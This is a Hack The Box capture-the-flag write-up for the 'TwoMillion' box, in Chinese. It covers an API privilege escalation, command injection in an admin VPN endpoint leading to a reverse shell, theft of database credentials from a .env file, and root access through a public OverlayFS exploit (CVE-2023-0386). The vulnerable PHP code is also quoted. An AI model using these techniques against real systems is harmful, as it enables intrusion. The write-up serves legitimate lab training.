# Hack The Box - TwoMillion Writeup
Writeup for the box TwoMillion in Hack The Box.
## Box Info
| Name | OS | Difficulty |
|:---------- |:----- | ---------- |
| TwoMillion | Linux | Easy |
## Recon
### Nmap
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion]
└─$ sudo nmap 10.10.11.221 -oA nmap/initial
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-11 14:27 CST
Nmap scan report for 10.10.11.221
Host is up (1.6s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.19 seconds
```
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion]
└─$ sudo nmap 10.10.11.221 -p22,80 -sC -sV -oA nmap/twomillion
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-11 14:31 CST
Nmap scan report for 10.10.11.221
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.32 seconds
```
將域名加到 hosts 中:
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion]
└─$ echo "\n10.10.11.221 2million.htb" | sudo tee -a /etc/hosts
10.10.11.221 2million.htb
```
### Web Service - Port 80
網頁首頁:

從上方的 nav bar 可以前往登入頁面:

而首頁的 join section 則會導向 `/invite`:

可以知道要註冊帳號需要先取得邀請碼:

## Shell as www-data
### Get Invited Code
從 `/invite` 頁面的 source code 中可以看到使用了 `/js/inviteapi.min.js`:

而 `inviteapi.min.js` 中可以找到能夠告訴我們邀請碼怎麼產生的 endpoint:
```javascript
function verifyInviteCode(code) {
var formData = { "code": code };
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) {
console.log(response);
},
error: function(response) {
console.log(response);
}
});
}
function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function(response) {
console.log(response);
},
error: function(response) {
console.log(response);
}
});
}
```
訪問端點後會拿到 ROT13 加密過後的訊息:

```
Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr
```
```
In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate
```
解密後可以知道產生 invite code 的端點,再次訪問對應端點:

```
MEkyTEctSVhHU0wtUkozRU0tSEFDVFA=
```
進行 base64 decode 就能拿到 invite code 並註冊帳號了:
```
0I2LG-IXGSL-RJ3EM-HACTP
```

### API Enumeration
從前面的操作中可以發現 API 的路徑都在 `/api` 上,而未登入時訪問 `/api` 會什麼都看不到:

登入後嘗試訪問則可以看到路徑底下的 API 和相關描述:


### Upgrade to Admin
測試更新使用者設定的功能:

跟據回傳的 error message 調整 HTTP Request 內容:



可以發現透過這個 endpoint 能成功將 user 提升權限至 admin:

### Command Injection
測試產生 vpn 的 endpoint 會發現 admin 版本的會需要多附加一個 username 參數:



背後有可能使用 bash scripts / tools 來產生 vpn 連線檔,所以可以嘗試測試是否存在 Command Injection 漏洞。

發現漏洞存在後,傳入 reverse shell payload 來跟 server 建立連線:

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.221] 40614
bash: cannot set terminal process group (1189): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$
```
## Shell as admin
檢查當前目錄可以看到 `.env` 檔案:
```bash
www-data@2million:~/html$ ls -al
total 56
drwxr-xr-x 10 root root 4096 Nov 12 01:00 .
drwxr-xr-x 3 root root 4096 Jun 6 2023 ..
-rw-r--r-- 1 root root 87 Jun 2 2023 .env
-rw-r--r-- 1 root root 1237 Jun 2 2023 Database.php
<SNIP>
```
裡面包含了一組帳號密碼:
```bash
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
```
透過這組帳密就能以 admin 使用者的身份 ssh 連線至 server 了:
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion]
└─$ ssh admin@10.10.11.221
<SNIP>
You have mail.
<SNIP>
admin@2million:~$
```
### user.txt
```bash
admin@2million:~$ cat user.txt
e7b2e696************************
```
## Shell as root
從 ssh 登入訊息中可以知道 admin 使用者有信件:
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion]
└─$ ssh admin@10.10.11.221
<SNIP>
You have mail.
<SNIP>
admin@2million:~$
```
查看 admin 的信件:
```bash
admin@2million:~$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
```
透過信件中提到的 OverlayFS 或是搜尋 kernel `5.15.70` 版本存在的 cve 可以找到對應的漏洞 (CVE-2023-0386):
```bash
admin@2million:~$ uname -a
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
```
{%preview https://github.com/puckiestyle/CVE-2023-0386 %}
下載下來後照著 Readme 中給出的教學執行就能成功提權了:
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion]
└─$ git clone https://github.com/puckiestyle/CVE-2023-0386.git
┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion]
└─$ scp -r CVE-2023-0386 admin@10.10.11.221:/home/admin
```
```bash
admin@2million:~/CVE-2023-0386$ make all
<SNIP>
admin@2million:~/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc
```
```bash
admin@2million:~/CVE-2023-0386$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root root 4096 Nov 12 03:30 .
drwxrwxr-x 6 root root 4096 Nov 12 03:30 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:~/CVE-2023-0386#
```
### root.txt
```shell
root@2million:/root# cat root.txt
780ccb17************************
```
## Beyond Root
### update_settings endpoint
在 update settings 的功能中雖然會透過 `is_admin()` 檢查使用者的權限:
```php
public function update_settings($router) {
$db = Database::getDatabase();
$is_admin = $this->is_admin($router);
if (!$is_admin) {
return header("HTTP/1.1 401 Unauthorized");
exit;
}
<SNIP>
}
```
但 `is_admin()` function 在設計上不論是否為 admin 都是回傳 json 資料,因此如果判斷 `!$is_admin` 將會永遠為 True:
```php
public function is_admin($router)
{
<SNIP>
if ($user['is_admin'] == 1) {
header('Content-Type: application/json');
return json_encode(['message' => TRUE]);
} else {
header('Content-Type: application/json');
return json_encode(['message' => FALSE]);
}
}
```
### Vpn endpoint
可以看到 admin vpn 的 endpoint 有 command injection:
```php
public function admin_vpn($router) {
<SNIP>
$this->regenerate_user_vpn($router, $username);
$output = shell_exec("/usr/bin/cat /var/www/html/VPN/user/$username.ovpn");
return is_array($output) ? implode("<br>", $output) : $output;
}
```